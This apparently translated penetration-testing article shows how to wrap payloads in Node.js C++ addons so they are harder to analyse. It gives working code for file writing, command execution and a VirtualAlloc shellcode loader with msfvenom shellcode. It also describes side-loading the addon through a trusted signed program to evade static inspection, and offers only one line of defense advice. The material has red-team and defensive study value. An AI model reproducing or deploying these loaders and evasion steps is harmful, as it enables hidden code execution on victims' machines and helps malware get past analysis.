0x00 Preface

---

In the previous article 'Node.js in Penetration Testing: Implementation of a Downloader', code for implementing a Downloader using Node.js was open-sourced, briefly analyzing its exploitation approach in penetration testing.

Node.js syntax is simple and easy to understand, making Node.js code also relatively easy to analyze.

To increase the difficulty of analyzing Node.js code, my idea is to utilize a feature of Node.js to encapsulate the payload in the form of a C++ addon.

This not only increases the difficulty of analyzing the Node.js code but also allows the payload to be implemented in C++ code. Existing C++ code can be used with minor modifications, reducing the cost of secondary development.

0x01 Introduction

---

This article will cover the following topics:

  • Introduction to C++ Addons
  • Setting up the Development Environment for C++ Addons
  • Example of C++ Addon Code
  • Exploitation Approach
  • Defense Recommendations

0x02 Introduction to C++ Addons

---

Node.js C++ addons are dynamically linked libraries written in C++ that can be loaded into Node.js using the require() function. By utilizing the APIs provided by V8, they enable mutual calls between JavaScript and C++, bridging the interface between the two languages.

Official Documentation:

https://nodejs.org/api/addons.html

Usage Example:

  1. After successfully compiling a C++ addon that exports a method named: hello
  2. The code to call the exported method from the C++ addon in Node.js is as follows:

const addon = require('./addon.node');
addon.hello();

  1. Execute the code

node.exe test.js

0x03 Setting Up the Development Environment for C++ Addons

---

1. Windows Development Environment

Test system: Win7sp1 x64

The following tools need to be installed:

  • .NET Framework 4.5.1 or higher
  • Python 2.7
  • Visual Studio 2015 or higher

The specific setup process is as follows:

1. Install .NET Framework 4.5.1

https://www.microsoft.com/en-US/download/details.aspx?id=5842

2. Download Node.js

https://nodejs.org/en/download/

3. Use Windows-Build-Tools to automatically install dependency tools

https://github.com/felixrieseberg/windows-build-tools

cd c:\
powershell
npm install --global windows-build-tools

If installation fails, you can choose to manually install the following tools:

  • Python 2.7
  • Visual Studio 2015 or later

4. Install node-gyp

https://github.com/nodejs/node-gyp

npm install -g node-gyp

2. Linux development environment

wget https://nodejs.org/dist/v10.15.3/node-v10.15.3-linux-x64.tar.xz
tar xf node-v10.15.3-linux-x64.tar.xz
cd node-v10.15.3-linux-x64
cd bin
export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH
./npm install -g node-gyp

Note:

You need to add an environment variable to specify the location of node (export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH), otherwise npm install will fail with the error: /usr/bin/env: 'node': No such file or directory

Example:

  1. hello.cc:

#include
namespace demo {
using v8::FunctionCallbackInfo;
using v8::Isolate;
using v8::Local;
using v8::NewStringType;
using v8::Object;
using v8::String;
using v8::Value;

void Method(const FunctionCallbackInfo& args) {
Isolate* isolate = args.GetIsolate();
args.GetReturnValue().Set(String::NewFromUtf8(
isolate, "world", NewStringType::kNormal).ToLocalChecked());
}

void Initialize(Local exports) {
NODE_SET_METHOD(exports, "hello", Method);
}

NODE_MODULE(NODE_GYP_MODULE_NAME, Initialize)

} // namespace demo

  1. binding.gyp

{
"targets": [
{
"target_name": "addon",
"sources": [ "hello.cc" ]
}
]
}

  1. Compile via node-gyp to generate plugins

node-gyp configure
node-gyp build

Note:

Can be combined into a single command:

node-gyp configure build

Node.js supports cross-compilation. For specific parameter details, refer to:

https://www.npmjs.com/package/node-pre-gyp

Command to generate plugins for Windows 64-bit system under Linux is as follows:

node-gyp configure build --target_arch=x64 --target_platform=win32

0x04 C++ Plugin Code Example

---

During development, it's best to avoid conditional statements like if, as direct use may cause compilation errors

1. Release file

#include
#include
namespace demo {
using v8::FunctionCallbackInfo;
using v8::Isolate;
using v8::Local;
using v8::Object;
using v8::String;
using v8::Value;

void Method(const FunctionCallbackInfo& args) {
FILE* fp;
fopen_s(&fp, "new.txt", "ab+");
char *buf = "123456";
fwrite(buf, strlen(buf), 1, fp);
fseek(fp, 0, SEEK_END);
fclose(fp);
}

void init(Local exports) {
NODE_SET_METHOD(exports, "hello", Method);
}
NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

2. Execute command:

#include
namespace demo {
using v8::FunctionCallbackInfo;
using v8::Isolate;
using v8::Local;
using v8::Object;
using v8::String;
using v8::Value;

void Method(const FunctionCallbackInfo& args) {
system("powershell start calc.exe");
}

void init(Local exports) {
NODE_SET_METHOD(exports, "hello", Method);
}
NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

3. Execute shellcode

Generate shellcode:

msfvenom -p windows/x64/exec CMD=calc.exe -f c

Load and execute shellcode:

#include
#include
namespace demo {
using v8::FunctionCallbackInfo;
using v8::Isolate;
using v8::Local;
using v8::Object;
using v8::String;
using v8::Value;

void Method(const FunctionCallbackInfo& args) {
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
void *sc = VirtualAlloc(0, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(sc, shellcode, sizeof(shellcode));
(*(int(*)()) sc)();

}

void init(Local exports) {
NODE_SET_METHOD(exports, "hello", Method);
}
NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

The compiled plugin has been uploaded to GitHub at the following address:

An open-source project

The export method for the above plugin code is 'hello', and the invocation method is as follows:

const addon = require('./addon.node');
addon.hello();

0x05 Exploitation Approach

---

1. Loaded by a third-party trusted program

Reference:

https://bbs.pediy.com/thread-249573.htm

t.exe->node.exe->main.js

main.js and addon.node are placed in the same directory, the content of main.js is as follows:

const addon = require('./addon.node');
addon.hello();

addon.node is in DLL format, making it impossible to directly obtain the payload, increasing the cost of static analysis

0x06 Defense Recommendations

---

Monitor the behavior of child processes (node.exe) of t.exe, and intercept if suspicious behavior is detected, revoking trust in the certificate

0x07 Summary

---

This article introduces the usage of C++ addons in Node.js, which can be used to increase the difficulty of analyzing Node.js code, and finally shares three payload writing methods.